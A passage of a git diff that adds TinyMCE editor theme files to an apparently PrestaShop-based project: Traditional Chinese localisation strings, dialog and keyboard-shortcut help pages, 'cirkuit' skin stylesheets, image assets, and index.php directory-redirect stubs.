\u53ef\u8df3\u5230\u8a9e\u6cd5\u7d30\u7bc0\u7684\u90a3\u4e00\u6392",newdocument:"\u60a8\u771f\u7684\u8981\u6e05\u9664\u756b\u9762\u4e0a\u7684\u5167\u5bb9\u55ce\uff1f",path:"\u8a9e\u6cd5\u7d30\u7bc0","clipboard_msg":"\u5f88\u62b1\u6b49\uff0c\u4f60\u770b\u7db2\u9801\u7684\u8edf\u9ad4\u4e0d\u652f\u63f4\u526a\u4e0b\u3001\u8907\u88fd\u3001\u8cbc\u4e0a\u7684\u529f\u80fd\u3002","blockquote_desc":"\u5f15\u7528","help_desc":"\u8aaa\u660e","newdocument_desc":"\u65b0\u6587\u7ae0","image_props_desc":"\u5716\u7247\u8a2d\u5b9a","paste_desc":"\u8cbc\u4e0a","copy_desc":"\u8907\u88fd","cut_desc":"\u526a\u4e0b","anchor_desc":"\u52a0\u5165 / \u7de8\u8f2f\u9328\u9ede (\u66f8\u7c64)","visualaid_desc":"\u986f\u793a\u96b1\u85cf\u7684\u6771\u897f","charmap_desc":"\u52a0\u5165\u4e00\u500b\u81ea\u5df1\u8a2d\u5b9a\u7684\u6587\u5b57\u7b26\u865f","backcolor_desc":"\u9078\u64c7\u80cc\u666f\u8272","forecolor_desc":"\u9078\u64c7\u6587\u5b57\u984f\u8272","custom1_desc":"\u4f60\u5beb\u7684\u8a3b\u89e3\u5728\u9019\u88e1","removeformat_desc":"\u79fb\u9664\u6587\u5b57\u4e0a\u7684\u6a23\u5f0f\u8207\u683c\u5f0f","hr_desc":"\u52a0\u5165\u4e00\u500b\u6c34\u5e73\u7dda","sup_desc":"\u4e0a\u6a19\u5b57","sub_desc":"\u4e0b\u6a19\u5b57","code_desc":"\u7de8\u8f2f HTML \u8a9e\u6cd5","cleanup_desc":"\u79fb\u9664\u591a\u9918\u7684\u6587\u5b57\u8207\u7a0b\u5f0f\u78bc","image_desc":"\u65b0\u589e / \u7de8\u8f2f\u5716\u7247","unlink_desc":"\u79fb\u9664\u9023\u7d50","link_desc":"\u65b0\u589e / \u7de8\u8f2f\u7db2\u5740\u9023\u7d50","redo_desc":"\u91cd\u4f86\u4e00\u6b21 (Ctrl Y)","undo_desc":"\u5fa9\u539f (Ctrl Z)","indent_desc":"\u7e2e\u6392 (\u589e\u52a0)","outdent_desc":"\u7e2e\u6392 (\u6e1b\u5c11)","numlist_desc":"\u9805\u76ee\u7b26\u865f (\u6709\u6578\u5b57)","bullist_desc":"\u9805\u76ee\u7b26\u865f (\u53ea\u6709\u7b26\u865f)","justifyfull_desc":"\u5206\u6563\u5c0d\u9f4a","justifyright_desc":"\u5411\u53f3\u908a\u5c0d\u9f4a","justifycenter_desc":"\u7f6e\u4e2d\u5c0d\u9f4a","justifyleft_desc":"\u5411\u5c0d\u9f4a\u5de6\u908a","striketrough_desc":"\u522a\u9664\u7dda","help_shortcut":"\u6309\u4e0b ALT F10 \u51fa\u73fe\u5de5\u5177\u5217\uff1b\u6309\u4e0b ALT 0 \u5247\u51fa\u73fe\u8aaa\u660e\u3002","rich_text_area":"\u6587\u5b57\u7de8\u8f2f\u5340","shortcuts_desc":"\u8f14\u52a9\u8aaa\u660e",toolbar:"\u5de5\u5177\u5217","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/zh-tw_dlg.js b/js/tiny_mce/themes/advanced/langs/zh-tw_dlg.js new file mode 100755 index 0000000..46208f9 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advanced_dlg',{"link_list":"\u9023\u7d50\u6e05\u55ae","link_is_external":"\u60a8\u7684\u7db2\u5740\u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b http:// \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f","link_is_email":"\u60a8\u7684 E-Mail \u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b mailto: \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f","link_titlefield":"\u6a19\u984c","link_target_blank":"\u53e6\u5916\u958b\u65b0\u8996\u7a97","link_target_same":"\u76f4\u63a5\u958b\u555f\u9023\u7d50","link_target":"\u958b\u555f\u65b9\u5f0f","link_url":"\u9023\u7d50 URL","link_title":"\u52a0\u5165 / \u7de8\u8f2f\u7db2\u5740","image_align_right":"\u5411\u53f3\u5c0d\u9f4a","image_align_left":"\u5411\u5de6\u5c0d\u9f4a","image_align_textbottom":"\u6587\u5b57\u4e0b\u65b9","image_align_texttop":"\u6587\u5b57\u4e0a\u65b9","image_align_bottom":"\u4e0b\u65b9","image_align_middle":"\u7f6e\u4e2d","image_align_top":"\u4e0a\u65b9","image_align_baseline":"\u57fa\u6e96\u7dda","image_align":"\u5c0d\u9f4a","image_hspace":"\u6c34\u5e73\u8ddd\u96e2","image_vspace":"\u5782\u76f4\u8ddd\u96e2","image_dimensions":"\u5c3a\u5bf8","image_alt":"\u5716\u7247\u8aaa\u660e","image_list":"\u5716\u7247\u6e05\u55ae","image_border":"\u908a\u6846","image_src":"\u5716\u7247\u7db2\u5740\u9023\u7d50","image_title":"\u52a0\u5165 / \u8a2d\u5b9a\u5716\u7247","charmap_title":"\u9078\u64c7\u81ea\u8a02\u7684\u7b26\u865f","colorpicker_name":"\u540d\u7a31\uff1a","colorpicker_color":"\u984f\u8272\uff1a","colorpicker_named_title":"\u8272\u7968\u540d\u7a31","colorpicker_named_tab":"\u8272\u7968\u540d\u7a31","colorpicker_palette_title":"\u8abf\u8272","colorpicker_palette_tab":"\u8abf\u8272\u76e4","colorpicker_picker_title":"\u6309\u4e00\u4e0b\u6ed1\u9f20\u9078\u64c7\u984f\u8272","colorpicker_picker_tab":"\u9078\u64c7","colorpicker_title":"\u9078\u4e00\u500b\u984f\u8272","code_wordwrap":"\u81ea\u52d5\u63db\u884c","code_title":"HTML \u8a9e\u6cd5\u7de8\u8f2f\u5668","anchor_name":"\u9328\u9ede\u540d\u7a31","anchor_title":"\u52a0\u5165 / \u8a2d\u5b9a\u9328\u9ede","about_loaded":"\u5916\u639b\u7a0b\u5f0f\u8f09\u5165\u5b8c\u6210","about_version":"\u7248\u672c","about_author":"\u4f5c\u8005","about_plugin":"\u5916\u639b","about_plugins":"\u5916\u639b\u7a0b\u5f0f","about_license":"\u7248\u6b0a\u6388\u6b0a","about_help":"\u8aaa\u660e","about_general":"\u95dc\u65bc","about_title":"\u95dc\u65bc TinyMCE \u9019\u5957\u6587\u5b57\u7de8\u8f2f\u5668","anchor_invalid":"\u8acb\u7528\u82f1\u6587\u6216\u6578\u5b57\u4f5c\u70ba\u9328\u9ede\u7684\u540d\u7a31","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/link.htm b/js/tiny_mce/themes/advanced/link.htm new file mode 100755 index 0000000..4a2459f --- /dev/null +++ b/js/tiny_mce/themes/advanced/link.htm @@ -0,0 +1,57 @@ + + + + {#advanced_dlg.link_title} + + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/themes/advanced/shortcuts.htm b/js/tiny_mce/themes/advanced/shortcuts.htm new file mode 100755 index 0000000..436091f --- /dev/null +++ b/js/tiny_mce/themes/advanced/shortcuts.htm @@ -0,0 +1,47 @@ + + + + {#advanced_dlg.accessibility_help} + + + + +

    {#advanced_dlg.accessibility_usage_title}

    +

    Toolbars

    +

    Press ALT-F10 to move focus to the toolbars. Navigate through the buttons using the arrow keys. + Press enter to activate a button and return focus to the editor. + Press escape to return focus to the editor without performing any actions.

    + +

    Status Bar

    +

    To access the editor status bar, press ALT-F11. Use the left and right arrow keys to navigate between elements in the path. + Press enter or space to select an element. Press escape to return focus to the editor without changing the selection.

    + +

    Context Menu

    +

    Press shift-F10 to activate the context menu. Use the up and down arrow keys to move between menu items. To open sub-menus press the right arrow key. + To close submenus press the left arrow key. Press escape to close the context menu.

    + +

    Keyboard Shortcuts

    + + + + + + + + + + + + + + + + + + + + + +
    KeystrokeFunction
    Control-BBold
    Control-IItalic
    Control-ZUndo
    Control-YRedo
    + + diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/content.css b/js/tiny_mce/themes/advanced/skins/cirkuit/content.css new file mode 100755 index 0000000..4f33742 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/cirkuit/content.css @@ -0,0 +1,66 @@ +/*body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} +body {background:#FFF;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(img/items.gif) no-repeat 0 0;} +td.mceSelected, th.mceSelected {background-color:#3399ff !important} +img {border:0;} +table {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr {border-bottom:1px dashed #CCC; cursor:help} + +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} + +img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} +font[face=mceinline] {font-family:inherit !important}*/ +body, td, pre {color:#000; font: 12px/1.5em "Lucida Grande", Helvetica, Arial, sans-serif; margin:8px;} +html,body {padding: 0 !important; margin: 0 !important; background:#fff !important;} +body {height: 94% !important; padding: 0 !important;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(img/items.gif) no-repeat bottom left;} +img.mceItemAnchor {width:12px; height:12px; background:url(img/items.gif) no-repeat;} +img {border:0;} +table {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help} + +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/dialog.css b/js/tiny_mce/themes/advanced/skins/cirkuit/dialog.css new file mode 100755 index 0000000..1a1f359 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/cirkuit/dialog.css @@ -0,0 +1,117 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +background:#f1f1f1; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#f1f1f1;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;} +a:hover {color:#2B6FB6;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;} +input.invalid {border:1px solid #EE0000;} +input {background:#FFF; border:1px solid #dfdfdf;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #dfdfdf;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, #apply, .mceActionPanel .button, input.mceButton, .updateButton { + border: 1px solid #bbb; + margin:0; + padding:0 0 1px; + font-weight:bold; + font-size: 11px; + width:94px; + height:24px; + background:url(img/fade-butt.png) 0 0; + color:#000; + cursor:pointer; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} +#insert:hover, #cancel:hover, input.mceButton:hover, .updateButton:hover, +#insert:focus, #cancel:focus, input.mceButton:focus, .updateButton:focus { + border: 1px solid #555; +} + +/* Browse */ +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; -moz-opacity:0.3; opacity:0.3; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30);} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor, a.browse {text-decoration:none} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} +#charmap #charmapView {background-color:#fff;} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} +.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} +.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} +.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} +#colorpicker #picker_panel fieldset {margin:auto;width:325px;} diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/butt2.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/butt2.png new file mode 100755 index 0000000..3baae5e Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/butt2.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/button-bg.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/button-bg.png new file mode 100755 index 0000000..0c2c5f8 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/button-bg.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/buttons.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/buttons.png new file mode 100755 index 0000000..7dd5841 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/buttons.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/down_arrow.gif b/js/tiny_mce/themes/advanced/skins/cirkuit/img/down_arrow.gif new file mode 100755 index 0000000..687b241 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/down_arrow.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/fade-butt.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/fade-butt.png new file mode 100755 index 0000000..42f08b7 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/fade-butt.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/icons.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/icons.png new file mode 100755 index 0000000..7525d9d Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/icons.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/index.php b/js/tiny_mce/themes/advanced/skins/cirkuit/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/cirkuit/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/items.gif b/js/tiny_mce/themes/advanced/skins/cirkuit/img/items.gif new file mode 100755 index 0000000..2eafd79 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/items.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/menu-arrow.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/menu-arrow.png new file mode 100755 index 0000000..bdfe509 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/menu-arrow.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/menu-check.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/menu-check.png new file mode 100755 index 0000000..92a5edb Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/menu-check.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/progress.gif b/js/tiny_mce/themes/advanced/skins/cirkuit/img/progress.gif new file mode 100755 index 0000000..5bb90fd Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/progress.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/tabs.gif b/js/tiny_mce/themes/advanced/skins/cirkuit/img/tabs.gif new file mode 100755 index 0000000..ce4be63 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/tabs.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/img/toolbarbg.png b/js/tiny_mce/themes/advanced/skins/cirkuit/img/toolbarbg.png new file mode 100755 index 0000000..f295106 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/cirkuit/img/toolbarbg.png differ diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/index.php b/js/tiny_mce/themes/advanced/skins/cirkuit/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/cirkuit/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/cirkuit/ui.css b/js/tiny_mce/themes/advanced/skins/cirkuit/ui.css new file mode 100755 index 0000000..f85c208 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/cirkuit/ui.css @@ -0,0 +1,988 @@ +/* Reset */ +.cirkuitSkin table, .cirkuitSkin tbody, .cirkuitSkin a, .cirkuitSkin img, .cirkuitSkin tr, .cirkuitSkin div, .cirkuitSkin td, .cirkuitSkin iframe, .cirkuitSkin span, .cirkuitSkin *, .cirkuitSkin .mceText { + border: 0; + margin: 0; + padding: 0; + background: transparent; + white-space: nowrap; + text-decoration: none; + font-weight: normal; + cursor: default; + color: #000; + vertical-align: baseline; + width: auto; + border-collapse: separate; + text-align: left +} + +.cirkuitSkin a:hover, .cirkuitSkin a:link, .cirkuitSkin a:visited, .cirkuitSkin a:active { + text-decoration: none; + font-weight: normal; + cursor: default; + color: #000 +} + +.cirkuitSkin table td { + vertical-align: middle +} + +/* Containers */ +.cirkuitSkin table { + direction:ltr; +} +.cirkuitSkin iframe { + display: block; + background: #FFF; +} + +.cirkuitSkin .mceToolbar { + height: 26px +} + +.cirkuitSkin .mceLeft { + text-align: left +} + +.cirkuitSkin .mceRight { + text-align: right +} + +/* External */ +.cirkuitSkin .mceExternalToolbar { + position: absolute; + border: 1px solid #CCC; + border-bottom: 0; + display: none; +} + +.cirkuitSkin .mceExternalToolbar td.mceToolbar { + padding-right: 13px; +} + +.cirkuitSkin .mceExternalClose { + position: absolute; + top: 3px; + right: 3px; + width: 7px; + height: 7px; + background: url('img/icons.png') -820px 0 +} + +/* Layout */ +.cirkuitSkin table.mceLayout { + border: 0; + border-left: 1px solid #CCC; + border-right: 1px solid #CCC +} + +.cirkuitSkin table.mceLayout tr.mceFirst td { + border-top: 1px solid #CCC +} + +.cirkuitSkin table.mceLayout tr.mceLast td { + border-bottom: 1px solid #CCC; + background: url('img/toolbarbg.png') center repeat-x; +} + +.cirkuitSkin table.mceToolbar, .cirkuitSkin tr.mceFirst .mceToolbar tr td, .cirkuitSkin tr.mceLast .mceToolbar tr td { + border: 0; + margin: 0; + padding: 0; +} + +.cirkuitSkin td.mceToolbar { + padding-top: 1px; + vertical-align: top; + background-color: #DFDFDF; +} + +.cirkuitSkin .mceIframeContainer { + border-top: 1px solid #CCC; + border-bottom: 1px solid #CCC; + /*height: 100%; 5/22/2010 - Joe Rozzi - taken out comparing to default theme ui.css */ +} + +.cirkuitSkin .mceStatusbar { + font-family: 'MS Sans Serif', sans-serif, Verdana, Arial; + font-size: 9pt; + line-height: 16px; + overflow: visible; + color: #666; + display: block; + height: 20px +} + +.cirkuitSkin .mceStatusbar div { + float: left; + /*margin: 3px 0 0 4px;*/ + margin:2px; + color: #666; +} + +.cirkuitSkin .mceStatusbar a.mceResize { + display: block; + float: right; + background: url('img/icons.png') -801px -2px; + width: 20px; + height: 20px; + cursor: se-resize; + outline:0; +} + +.cirkuitSkin .mceStatusbar a:hover { + text-decoration: underline +} + +.cirkuitSkin table.mceToolbar { + margin-left: 3px +} + +.cirkuitSkin span.mceIcon, .cirkuitSkin img.mceIcon { + display: block; + width: 20px; + height: 20px +} + +.cirkuitSkin .mceIcon { + background: url('img/icons.png') no-repeat 20px 20px +} + +.cirkuitSkin td.mceCenter { + text-align: center; +} + +.cirkuitSkin td.mceCenter table { + margin: 0 auto; + text-align: left; +} + +.cirkuitSkin td.mceRight table { + margin: 0 0 0 auto; +} + +/* Button */ +.cirkuitSkin .mceButton { + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + -khtml-border-radius: 3px; + border-radius: 3px; + background-image: url("img/butt2.png"); + background-position: left top; + background-repeat: repeat-x; + cursor: default; + display: block; + height: 20px; + margin: 1px; + padding: 1px 2px; + width: 20px; + background-color: #E9E8E8; + border-color: #B2B2B2; +} + +.cirkuitSkin a.mceButtonEnabled:hover { + background-position: 0 -10px; + border-color: #777; +} + +.cirkuitSkin a.mceButtonActive, .cirkuitSkin a.mceButtonSelected { + background-image: inherit; + border-color: #333; + background: #bcd0f5 !important; +} + +.cirkuitSkin .mceButtonDisabled .mceIcon { + opacity: 0.3; + -ms-filter: 'alpha(opacity=30)'; + filter: alpha(opacity = 30); +} + +.cirkuitSkin .mceButtonLabeled { + width: auto; +} + +.cirkuitSkin .mceButtonLabeled span.mceIcon { + float: left; +} + +.cirkuitSkin span.mceButtonLabel { + display: block; + font-size: 10px; + padding: 4px 6px 0 22px; + font-family: Tahoma, Verdana, Arial, Helvetica; +} + +.cirkuitSkin .mceButtonDisabled .mceButtonLabel { + color: #888; +} + +/* Separator */ +.cirkuitSkin .mceSeparator { + background: none repeat scroll 0 0 transparent; + display: block; + height: 24px; + margin: 0 2px; + overflow: hidden; + width: 1px; +} + +/* ListBox */ +.cirkuitSkin .mceListBox { + direction: ltr; + margin: 1px; +} + +.cirkuitSkin .mceListBox, .cirkuitSkin .mceListBox a { + display: block +} + +.cirkuitSkin .mceListBox .mceText { + padding: 1px 2px 1px 5px; + text-align: left; + text-decoration: none !important; + width: 70px; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; + font-family: Tahoma, Verdana, Arial, Helvetica; + font-size: 11px; + height: 20px; + line-height: 20px; + overflow: hidden; +} + +.cirkuitSkin .mceListBox .mceText, .cirkuitSkin .mceListBox .mceOpen { + background-color: #D5D5D5; + border-color: #B2B2B2; +} + +.cirkuitSkin table.mceListBoxEnabled:hover .mceOpen, .cirkuitSkin .mceListBoxHover .mceOpen, .cirkuitSkin .mceListBoxSelected .mceOpen, .cirkuitSkin .mceListBoxSelected .mceText { + border-color: #777 !important; + background-color: #d5d5d5 !important; +} + +.cirkuitSkin table.mceListBoxEnabled:hover .mceText, .cirkuitSkin .mceListBoxHover .mceText { + border-color: #777 !important; +} + +.cirkuitSkin table.mceListBoxEnabled:hover .mceText, .cirkuitSkin .mceListBoxHover .mceText, .cirkuitSkin .mceListBoxSelected .mceText, .cirkuitSkin table.mceListBoxEnabled:hover .mceOpen, .cirkuitSkin .mceListBoxHover .mceOpen, .cirkuitSkin .mceListBoxSelected .mceOpen { + background-image: none; +} + +.cirkuitSkin .mceListBoxDisabled a.mceText { + color: gray; + background-color: transparent; +} + +.cirkuitSkin .mceListBoxMenu { + overflow: auto; + overflow-x: hidden +} + +.cirkuitSkin .mceOldBoxModel .mceListBox .mceText { + height: 22px +} + +.cirkuitSkin .mceOldBoxModel .mceListBox .mceOpen { + width: 11px; + height: 22px; +} + +.cirkuitSkin select.mceNativeListBox { + font: 11px 'Lucida Grande', Helvetica, Arial, sans-serif; + background: #F0F0EE; + border: 1px solid gray; + margin-right: 2px; +} + +.cirkuitSkin .mceListBox .mceOpen { + width: 14px; + height: 20px; + border-collapse: separate; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; + padding: 1px; + border-left: 0 none !important; +} + +.cirkuitSkin .mceListBox .mceOpen span { + display: block; + width: 14px; + height: 20px; + background-image: url(img/down_arrow.gif); + background-position: 2px 1px; + background-repeat: no-repeat; +} + +/* SplitButton */ +.cirkuitSkin .mceSplitButton { + width: 32px; + height: 20px; + direction: ltr +} + +.cirkuitSkin .mceSplitButton a, .cirkuitSkin .mceSplitButton span { + height: 20px; +} + +.cirkuitSkin .mceSplitButton a { + display: block; +} + +.cirkuitSkin .mceSplitButton a.mceAction { + height: 20px; + width: 20px; + padding: 1px 2px; + display: block; +} + +.cirkuitSkin .mceSplitButton span.mceAction { + width: 20px; + background: url('img/icons.png') 20px 20px; + display: block; +} + +.cirkuitSkin .mceSplitButton a.mceOpen { + width: 10px; + height: 20px; + background-image: url(img/down_arrow.gif); + background-position: 1px 2px; + background-repeat: no-repeat; + padding: 1px; + border-left: 0 none !important; +} + +.cirkuitSkin .mceSplitButtonDisabled .mceAction, .cirkuitSkin .mceSplitButtonDisabled span.mceOpen { + opacity: 0.3; + 